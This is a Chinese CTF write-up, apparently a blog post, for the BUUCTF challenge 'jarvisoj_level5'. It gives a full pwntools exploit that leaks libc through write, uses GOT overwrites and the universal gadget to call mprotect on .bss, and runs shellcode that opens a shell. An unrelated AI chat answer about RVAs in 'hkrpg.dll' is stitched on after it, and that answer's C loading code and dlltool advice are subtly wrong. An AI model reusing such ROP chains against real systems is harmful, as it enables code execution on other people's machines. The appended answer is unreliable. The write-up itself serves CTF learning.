从BUUCTF之“jarvisoj_level5”中看如何暗度陈仓实现“mprotect”修改.bss段为可执行

本文详细介绍了如何在64位系统中,针对开启了NX保护但未开启栈保护的程序,通过栈溢出漏洞,利用返回导向编程(ROP)技术泄露函数地址,计算并调用'mprotect'来改变内存权限,进而注入并执行自定义的shellcode。过程中涉及到的步骤包括:栈溢出、函数地址泄露、shellcode注入、修改got.plt表、调用通用gadget等,最终实现代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本体我们要求不适用system和execve来解题,所以我们整点不一样的。

简单分析一下题目:

在这里插入图片描述
64位,只开启了NX保护,显然在提示我们 修改段权限位可执行hhh

在这里插入图片描述
程序逻辑比较简单:定义一个0x80大小的数组,而后调用两个函数,write一下,而后read函数使用,显然造成栈溢出,而栈保护没有开启,所以我们可以轻易劫持控流。

具体思路如下:

  1. 泄露一个函数地址而后计算“mprotect”地址
  2. bss=elf.bss()生成一片data段作为shellcode注入的目的地址
  3. 注入shellcode,这里shellcode使用shellcraft模块生成时需要注明一些附加调试(context)条件,否则报错
  4. 将bss所在地址添加到got.plt处(这里可能专业术语解释不到位,大佬勿喷)据说“call其他函数需要在got表中存有,所以需要添加在got表中空闲处。”
  5. 利用“通用gadget”调用mprotect修改bss段权限
  6. 接着执行bss处的shellcode

EXP如下:

from pwn import*
p=remote('node4.buuoj.cn',26405)
libc=ELF('./libc-2.23.so')
context(arch="amd64",os="linux",log_level="debug")

elf=ELF('./5')
read_got=elf.got['read']
read_plt=elf.plt['read']
vuln=0x4005e6
write_got=elf.got['write']
write_plt=elf.plt['write']

rsi_r15_ret=0x4006b1
rdi_=0x4006b3
bss=elf.bss()
#对应上面步骤1
rop1='a'*0x88 + p64(rsi_r15_ret)+p64(write_got) +p64(0)+ p64(rdi_)+p64(1) +p64(write_plt)+p64(vuln)
p.recv()
p.send(rop1)
addr_=u64(p.recv(8))
print(hex(addr_))
base_=addr_-libc.symbols['write']
mprotect_=base_+libc.symbols['mprotect']


#shellco注入
p.recv()
rop2='a'*0x88+p64(rdi_)+p64(0)+p64(rsi_r15_ret)+p64(bss)+p64(0)+p64(read_plt)+p64(vuln)
#shellcode_=asm(shellcraft.amd64.linux.sh(),arch="amd64")
shellcode_=asm(shellcraft.sh())#如果使用这句代替上面那句那么需要在上文添加context(arch="amd64",os="linux",log_level="debug")
p.send(rop2)
p.send(shellcode_)
###暗度陈仓将got.plt空闲地址添加bss地址,bss段被函数调用的前提
p.recv()
rop3='a'*0x88+p64(rdi_)+p64(0)+p64(rsi_r15_ret)+p64(0x600a48)+p64(0)+p64(read_plt)+p64(vuln)
p.send(rop3)
p.send(p64(bss))#???p64(bss)why?
#暗度陈仓将__gmon_start__的got表地址修改位mprotect的got地址。
mid_=elf.got['__gmon_start__']
rop4='a'*0x88+p64(rdi_)+p64(0)+p64(rsi_r15_ret)+p64(mid_)+p64(0)+p64(read_plt)+p64(vuln)
p.recv()
p.send(rop4)
p.send(p64(mprotect_))

#通用gadget使用调用mpro与bss段shellcode
xiu=0x400690
p_6=0x4006a6
p.recv()
rop5='a'*0x88+p64(p_6)+'a'*8+p64(0)+p64(1)+p64(mid_)+p64(7)+p64(0x1000)+p64(0x600000)+p64(xiu)+'a'*8+p64(0)*2+p64(0x600a48)+p64(0)*3+p64(0x400690)
p.send(rop5)
p.interactive()

结,其实这题还有意外收获,我们观察一下通用gadg的地址:在这里插入图片描述
我们发现0x4006b0到下一条中间少了一个0x4006b1,同样还少了个0x4006b3

我们查看gdb查看内存:
在这里插入图片描述
我们发现居然!!!多出了两个gadget,一个是pop rsi,pop r15, ret;一个是po rdi,ret;

**此外exp中的write和多次read函数调用这里比较奇怪因为只赋值了前两个参数,第三个参数没有,居然也能使用,据说利用ROPgadge去查64位elf的可利用gadget没有pop rax,这就离谱了~~~~~~**

<think>好的,我现在需要帮用户解决他在使用`objdump`查看`hkrpg.dll`时遇到的问题。用户执行了`objdump -x hkrpg.dll | grep "RVA"`,结果出现了一个警告和一个输出。我需要分析这个问题并提供解决方案。 首先,用户的警告信息是`ignoring section flag IMAGE_SCN_MEM_NOT_PAGED in section .F.[`。这可能是因为`objdump`主要是为ELF文件设计的,而.dll是PE格式的文件。虽然`objdump`可以处理部分PE文件,但某些特定的标志或结构可能不被完全支持,导致警告出现。这个警告通常不会影响基本的导出表分析,但用户需要注意结果可能不完全准确。 接下来,用户的输出是`[ 0] +base[ 1] 21b0 导出 RVA`。这里的`21b0`是导出表的RVA(相对虚拟地址)。用户的目标是找到某个函数在偏移量0x0014处的值,但需要明确这里的RVA和文件偏移之间的转换是否正确。 用户之前的提问是关于如何通过C语言在Linux中导出.dll文件中的函数值,现在可能是在验证导出表的偏移量是否正确。我需要提醒用户,直接使用`objdump`可能无法准确获取PE文件的信息,建议使用专门的PE解析工具,比如`objdump`的替代工具如`readpe`、`pev`工具包中的`pedump`,或者使用Windows工具如CFF Explorer。 另外,用户可能需要理解RVA和文件偏移的区别。RVA是模块加载到内存后的相对地址,而文件偏移是.dll文件在磁盘上的位置。要正确计算函数地址,需要将RVA转换为文件偏移,或者确保在加载.dll时正确计算基地址加上偏移量。 考虑到用户可能是在Linux环境下工作,安装`pev`工具包可能更合适,这样可以直接使用`pedump`来解析.dll文件,获取更准确的导出函数信息。同时,用户可能需要检查函数偏移0x0014是否正确,或者是否存在其他计算错误,比如是否需要考虑PE文件头的结构,如DOS头、NT头等,这些结构会影响RVA到实际偏移的转换。 总结下来,用户需要更准确的工具来解析.dll文件,并理解PE文件结构中的RVA转换,确保偏移量的正确性。此外,用户在使用C代码加载.dll时,需要注意Linux下通过Wine加载的基地址是否正确,以及调用约定和内存权限的问题,这些都可能影响最终能否成功调用函数。</think>### 分步解析与解决方案 --- #### **一、问题定位** 你的操作 `objdump -x hkrpg.dll | grep "RVA"` 输出了以下关键信息: ``` [ 0] +base[ 1] 21b0 导出 RVA ``` - **`21b0`** 是导出表(Export Table)的 **RVA(相对虚拟地址)**,而非函数地址的直接偏移。 - **警告信息** `ignoring section flag...` 表明 `objdump` 对 PE 格式(Windows DLL)的解析存在兼容性问题。 --- #### **二、核心概念澄清** 1. **RVA(Relative Virtual Address)** 函数在内存中的地址是 **模块基地址(ImageBase) + RVA**。例如: - 若 DLL 加载基地址为 `0x10000000`,RVA `0x21b0` 对应的实际内存地址为 `0x100021b0`。 2. **文件偏移 vs 内存偏移** - RVA 是内存中的逻辑偏移,需通过 **PE 文件头中的节表(Section Table)** 转换为文件物理偏移。 - 直接使用 `0x0014` 作为偏移量可能不准确,需明确其基准(是文件偏移还是内存中的 RVA)。 --- #### **三、准确获取函数偏移量的方法** 1. **使用 PE 专用解析工具** 推荐安装 `pev` 工具包(Linux 下更专业的 PE 文件分析工具): ```bash sudo apt-get install pev ``` 通过 `pedump` 解析导出函数: ```bash pedump -E hkrpg.dll # 显示所有导出函数及RVA ``` 2. **手动计算文件偏移(可选)** - 查看节表信息: ```bash pedump -S hkrpg.dll ``` - 根据 RVA 和节表的 `VirtualAddress` 与 `PointerToRawData` 计算物理偏移: ``` 物理偏移 = RVA - VirtualAddress + PointerToRawData ``` --- #### **四、函数调用修正(C语言示例)** 假设通过工具确认目标函数的 RVA 为 `0x21b0`,需在代码中动态计算地址: ```c #include <stdio.h> #include <dlfcn.h> #include <stdint.h> typedef int (*FuncPtr)(); // 根据实际函数原型定义 int main() { void* handle = dlopen("hkrpg.dll", RTLD_LAZY); if (!handle) { fprintf(stderr, "Error: %s\n", dlerror()); return 1; } // 获取模块基地址(假设通过Wine加载) uintptr_t base_addr = (uintptr_t)handle; // 假设目标函数RVA为0x21b0(需实际替换) uintptr_t func_addr = base_addr + 0x21b0; FuncPtr func = (FuncPtr)func_addr; int result = func(); printf("Result: %d\n", result); dlclose(handle); return 0; } ``` --- #### **五、常见问题排查** 1. **错误(Segmentation Fault)** - **原因**:函数地址未对齐或内存无执行权限。 - **修复**:添加内存权限修改: ```c #include <sys/mman.h> // 将目标地址所在内存页设置为可执行 size_t page_size = sysconf(_SC_PAGESIZE); void* page_start = (void*)(func_addr & ~(page_size - 1)); mprotect(page_start, page_size, PROT_READ | PROT_EXEC); ``` 2. **调用约定不匹配** - Windows 默认使用 `__stdcall`,需显式声明: ```c typedef int (__attribute__((stdcall)) *FuncPtr)(int param1, float param2); ``` --- #### **六、替代方案推荐** 1. **使用 `dllexport` 转换工具** 通过 `dlltool` 生成 `.so` 文件供 Linux 直接调用: ```bash dlltool -d hkrpg.def -e hkrpg.exp -l libhkrpg.so ``` 编译时链接: ```bash gcc -o main main.c -L. -lhkrpg ``` 2. **通过 `wine` 直接调用** 若函数独立无依赖,可直接通过 Wine 运行: ```bash wine hkrpg.dll # 部分DLL支持直接运行 ``` --- ### 关键总结 - **验证工具优先**:使用 `pedump` 或 `CFF Explorer`(Windows)确保偏移量准确。 - **地址转换公式**:`实际地址 = 模块基地址 + RVA`。 - **权限与调用约定**:Linux 需手动处理内存权限和调用约定差异。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值